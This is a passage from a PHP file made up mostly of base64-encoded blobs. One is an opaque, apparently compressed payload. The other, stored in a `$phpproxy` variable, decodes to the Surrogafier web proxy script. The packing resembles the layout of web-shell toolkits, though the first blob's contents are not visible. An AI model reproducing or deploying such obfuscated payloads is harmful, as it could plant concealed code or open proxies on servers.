queQFcifor4SSnu8SNhVW+Bo8V80U6ZQEXYqk0C/Yv5UVXPvBHhaM3iFzOYj811aFospmZKyD2OTVAsd1K77AvUeupWCcLF3JTiEq4hD0iYuFRRRmxjdkQJC7gw5tuKT3BWzOVWEbdDYzskTHXu8ephx1SfZT1FAn5c8RnvjtkJVUEJ9skRSdV2lbnWSIZVZA3jVkYjaJcIk9PFW2hMphcJMnj0PeVqhAtnWlo0WCjSlgdgysU4qgnNOp8HMRoXVgbjGQuVoxOq+xRmH0cllR5l/XEplUwAufHECSu+QLVjfsTH97rHsVW9BZgk86OKT3h4zNVa6UEqckxMTRMPl5Rj4qpsiUrHEQl/hDfATlKpj8Ky46iUUgoddpANRFgphkJA5aiInk7hoHKkrSkUoyUyP6r4AoWP+azeNuWmcEY5LqaapeHbcVxcWTYJ18gRCW1mSPhAjvHU4H+CcHyqAMoGCqC7cVGEtpdZx4+WqS/q6WLsPUiZqhczjdFlXeoKTqDwHH17ARPAE5qdotUihcvDYviC3t6WLYny6Vp+JFeqAm5ConEDl1GvuYEQaNRFB+t1uRdgtnOMDt0qEqXiMlF3jywBdmbM9IAuXVorwZDLwnUgY5kqZfsiXd6cgN11tBgtPzsW5+4zQQip++LUfaBnJtouxSUoDtQqG7ElQqZL48amTUMVdWkkRA+kS+ASU4YpyhAXSlQYejHc1BMDWJOSRLy9gw/3l2N59HHFzNqOjshqjqJAq/WNoIDRNOoucRt949apNx4Hjix7CdxSrpbD1YpxQz2cxtKNZTxZTqjWNz/eI8+YBOqr7cETm6Oh8KlFQbJJHriyaKpslQ9kUsR6eumHGpbxUj0FQrdfMRXAp4gRipm2itpEbU5yZyXqSsKdsgxrDm5E0GJIaGdzkM1Cpckoxqhls+HtyoqwjzmeNcsmzQp7MKpmh2vYsr4eVxiuPkVS8Khmb6dLIxdzXVidbKFOZjt9yiRSeMuHgPIFbiRS7y3ujIfMTFtbNuQmXkLcF4PeT7FO0M8bWiyksAb8imVFqQLwZfMw6nNSjCEhobsoAx2fdwjM2OVaShFEfCYJR+3MYNMVTdOuSfSHWjEkFC5UgMvn4tGiAd/lnWm9Mrg5Lp41iPdvCsKcMolSJg5mEvcygYVeaoWRCSgEZaJ1rvQGUOQeIITraQIr2apAet1wvYkp7kbqdVhi1643YIDdaH0JqGbXqS+BE+7G6kuip7vx+smgkt1EURIFmO8m60vjArup+rRsnq01T6BEa00yMHuhbWkdhReVKEH9D18OLvnwDbNik9wRmV4BWDzO4gkhniwSFyjSLJ1iaVyjSBzXn03i534Ryi8noUUIv6MyjVNURhFWsUgaE0njMmlikqQeiLRImBQJUyIhmsaSCc3OILOH37ZMF50kndErZIHwOyaTxSfrFnzdXQx0QthO1V+iu+R0K+4V0SneEm3WRVTFs7JUltj9SAOLCNAsmJR1TWhWVgfrFtWELszG4iZiOuUQlUqAvwlhX1nK54HrbTEYqJ0T2vJHnNcQgf3vWyY8TGmXf/p5rRAeCyTbW5JlL0S1ZdgbYdZ2tRDr3abvD33o1XKVjsm9julkQkYnk0Wpc93eYhsuSqsiY7ZmXTfl5QO/aLLEMDqRePFAaUqFP8Npx86I+twZDnd3RK0jHt6+FPAGghD5fcNQ7KPBt2rroPD+3Ts71OByeHpE/Zt4tRzg2NAiQYot9VTt0HWPI6LBcV4s2R2I2NF7WRMLpaR5A232msr9irFJY6lsiKRFV2IPhLVipYUVVtDxJgD+wPZcrNAqGKNVMI6rtIM+MVwh5/00EF4OXJBCQ1BaSlWRKwNaBot3GHWGV171hC0qnsgl6zSHMcRPeZvmK/RHclH9kdwV+rO3qPazwnzxy72Cczqd57ft3Y2IyoL/2PieqxKXF/puP0OI4aMU5iAlb70HPxF+TJrEAba0Z3rEwy2zenZnMw8aq57cRYmHRlp7bucwE1qpP7WLMdeus9TDuTjzYMOoHhwmuBgYBeNpS5LYToLY2kOdFPPjdZ/9hIH7Br9Q8+P8eCCZzeGzTJebK9WmJ9MScWlkUWki8TRCCnV1u9xYMW2Bh612ubFywgKXmu1ya+U8BTa00eWmSRMKzM2CqewnMHu1GuHUlXWyRZ3QHHKl5K9w3GMKOwhc0UUu94w0hBSB2CAu96S0hcDPoEK4rAb1jiMsT74LVZY6ApZMJykb0qlLxyK2Lm0L6Zgjy2w2pBNxXToqpONho0hHsp2wzo5JdkJsvnEs4w6PJm66U/EpR1Nb2f8XjafjLW/aeOJ2H8cTJIvHU42bNp5JHjhOkJlihCJFI9Q5xQjZ5gj5x9M3QlFzhFQvx0A/E2FHPrCmSbiaTSGex3V7cDcT8R5N48pLLN5G4lw1fH/jP0J45jgcTkQjoUXrW1tCazK50Fqc7aHEkggJNKQSn2Oq5OeY6vOsIZQlD8HiIatwZEkYTzP+oXh/SP8jRJ6KExLT9wi5HfH8kmTJAQl9ZEU7Mk1UJc8pCdbfOo3wefgPQXeKlZocXrr/EDyTfSMQfx6c2n8InuE+CBG3aAAAktT9h+DZ60XTLDqhJsuVGB66/xA8s52bxvgIU/kPwTPf+6dxffR2+P2H4BnxF6fx2fFKa3L/IXhG/ednWgYKvsxX9wsyBnLo2j0cNOXw6tPkEKMlVGVZw5q/BflO/U5NDs/EPznbMtDxZbn3WUoPjoPccZALaeWGxPduS/nTIFyWeaosPb/vanL4jm3NvNL+OX6gyeFrMHPmlfb38Tea3Pkgd/4kck9pcniWfyHIPeiTw+tpS/ktIfyYeYwd4/dbMmIprBp8SWiH6crA07/DlvIfIuV0LwWyfi9bJn4Fyv2gSukCyuEZrVcsE5dl0QKL3gvwl/u6L79fLbes20vMD8Qp1iCBretXWNqpWSXn98/x1gp8abxYTuqKDH1rQEfOZPyapdbk/jn2Xg1zRlOEUtg0Mpyuf44bff450F7wPY+qfCdD+ufIeffcM/u9e9asF717nlg4b/meQb3GvHv2zxHy/HXwKTucb3zP/jmOe/cCrWef6Z+jxrvnGTXHu+fTeed794wctNC7Z4t90Ltn/xyoh3w/13f/+fvn0McZ/T1gD63cJd+RqaYc5D36m7jUJ2+XSN+jpcdTl9P3Kf8Z+GbC+d79uYSZU63F36Clx/LwBH+NF19Dp+yPavGIWYOAAedZ7I8DbcpxLR7tWM2gun/CyG+mdchS4xmA8SzZngdUe17W7jG/N+D7PC09lrf3gcnLe9tS73Jh+z/yta/UeDyplT8jUBwfGlTxM33x8wImptNiH6bT0oCJ6fTVgNLXWaCv1/kwnrbhvuH+yul1FuOb3+XDfEJ/HMfFO141MJ++EzAxoNBPh44B9WzAxIB6OWBiQP17wMSAehvuR+6rnP6NAJePvpHwTC2ehz03WG19GjAxomqCyj6gf4p5QRMzalHQxIxyg9yfD4v8VwZNDCnE/dcxpG4LmhhS9wVNDKnvBU0MKfTHFvL8ZVRbTwdNTKkjQWUPZsH44VlwxPL4ZSXLvx40MafeC5qYU4Sro2FOzUcTvE/5Q1hYofQJ/RksrjAxqZZWmJhU11eYmFQdFSYm1R0VJibVcIWJSbW3wsSkQl90crwWwHgdqDDbe7BC2c9ZYD+PVZgYVm/C/V5N/kSFiWn1QYWJaXVWpYlphf43dEyrxkoT0+qyStVfiOd/VaWJcXWTtkaG8EMDzvcdpfbj6IsT2hqcfg+B/eog+p8NkF8CZh+LF5D5/AfDEtvA0aeH/Uxu6u7FgwPd0ueoCedfCjr/VEH4O+lhpnimKdGyfDDgzW0GMPgUyPglgbEMHPdsZnPrpLj1DCBmIEJ/NpI9Y5AZhSB8mJEk39GBbwWLxx0CWcyoAP2sPBW0+GZ677n71q7J0MumRnsXyGAmDndrs1H/EmDvQheLMdl1PHUCL5sSNB2x2PyDOyk6usQ396OVm/huWsySqIcM58cj9+vPrT4tK8Ii9wGQ07CdPsI4I8T50Nl9oOICX85UMR9yeBFknNZN2WJgeBM/rxzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRz+b4T/BjfpCEwAGAEA";$phpproxy="PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmw